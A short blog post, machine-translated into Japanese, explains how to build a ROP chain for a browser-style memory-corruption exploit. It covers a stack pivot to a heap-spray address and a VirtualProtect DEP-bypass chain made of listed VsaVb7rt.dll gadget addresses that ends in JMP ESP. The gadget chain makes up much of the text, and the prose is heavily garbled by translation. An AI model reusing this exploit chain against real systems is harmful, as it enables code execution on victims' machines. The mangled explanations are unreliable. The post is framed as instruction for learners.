私に交換を修正してください適切な場所がない、ソースを明記してください。--- leibso
為替QQ:1032633253
図1は、以下に詳細に示します
私はここにROPを構築しますが、それは慎重に構築されていますが、完全に、私はあまりにも大きいが、無害な設定RETの間の間隔をテストするために、スペースを圧縮することができます。
2概要:
1.実行フロースタックを変更
ESP XCHG eaxに、; ESIをポップ; RET;ここでEAXが0x0c0c0c0cあるので、私は、この文を選んだ、とEAXの位置は、スタックアドレスを入れて(持っていると便利が実行フローに変更することはできません)、アドレスポイントはできませんコマンド(意味のない)として、今回はエラー保護のプロパティを変更していません。だから私は、ポップスタックの変更後にスタック0x0c0c0c0c位置のトップを選びました。0x0c0c0c10に実行制御。0x0c0c0c10前回の実行フローを使用していない。この時間は、私たちはここに私たちが望むRET命令をカスタマイズすることができます。
0x0c0c0cOc // 0x0c0c0c20 0x0c0c0c10 // 0x5e3229ed // 追加ESP、0x10の:ポップesiret
// *** 0x0c0c0c20 // 0x5e3229ed // 追加ESP、0x10の:ポップsiret
// ***
0x0c0c0c34 // 0x5e3229f0 // ポップESI; RET ; 0x0c0c0c38 // 0x5e28f190 // XCHG eaxesp:ポップesiret:
分析:これは主に、ハンドオーバ実行フロースタックを実現するために、ROPをカスタマイズするために、流れの一部の機能に基づいて行われます。私は、この脆弱性が利用されている2つのコールのEXPオンラインとの間の関係は、その後、私は唯一の呼び出しそれを使用できることを考えましたか?私はすぐに実践的なテスト、確かに。だから私は、私は申し訳ありません、私の愛の亀裂直接アサーションが動作しません見ました。ハンズオンハンズああを取得する時間。
2.スタック空間の保護属性を変更します。
0x5e329d12、 // POP EBP // DIRは[VsaVb7rt.dll] 0x5e329d12、 //は4バイト[VsaVb7rt.dll】スキップ 0x5e28f7a4、 // POP EBX // DIR [VsaVb7rt.dll] 0x00000201、 // 0x00000201-> EBX 0x5e292c9d、 // POP EBX // DIR [VsaVb7rt.dll] 0x00000040、 // 0x00000040-> EDX 0x5e34b61c、 // XOR EDX、EDX // DIRは[VsaVb7rt.dll] 0x5e34b5ee、 // EDX、EBXを追加します// POP EBX // DIRの0x10は[VsaVb7rt.dll] 0x41414141、 // フィラー(補償) 0x5e26098b、 // POP ECX // DIR [VsaVb7rt.dll] 0x41414141、 // フィラー(DIRオフセット補償) 0x41414141、 // フィラー(DIRオフセット補償) 0x41414141、 // フィラー(DIRオフセット補償) 0x41414141、 // フィラー(DIRオフセット補償) 0x5e357285、 // &書き込み可能な場所【VsaVb7rt.dll] --------这里是用来保存的OldProtect 0x5e25e6cc、 // POPのEDI // DIR [VsaVb7rt.dll] 0x5e267102、 // DIR(ROP NOP)VsaVb7rt.dll] 0x5e25b1f6、 // POP ESI // DIR [VsaVb7rt.dll] 0x5e23aa93、 // JMP [EAX] [ VsaVb7rt.dll] 0x5e290c74、 // POP EAX // DIR [VsaVb7rt.dll] 0x74614224、 // ptrは2&プロテクトバーチャル()(ポインタが信頼性があるかどうかを確認、モジュールKriterietをスキップ!)[IAT MSVCR80.DLL] 0x5e351384、 // PUSHAD // DIR [VsaVb7rt.dll] 0x5e287050、 // ptrは'JMP ESP' [VsaVb7rt.dll]へ
説明:ここでROP鎖、多くの初心者はよく理解されないことが、実際には、これは注文pushad圧レジスタ(EAX、ECX、EDX、EBX、ESP、EBP、ESI、EDI)であり、それぞれが目覚め構成レジスタデータは、その後、pushadにより、JMP ESP踏み台を通じて、この時間は、この構造はちょうどROPを実行することができるようになりますスタックにデータを注文したいです。ここでは、スタックを構築することができvirtualprotect必要性を実行します。興味のある友人は、あなたが手で書かれたことができ、ここでスタックの特定のレイアウト構造の一部を、この理解ROPチェーンを深めること。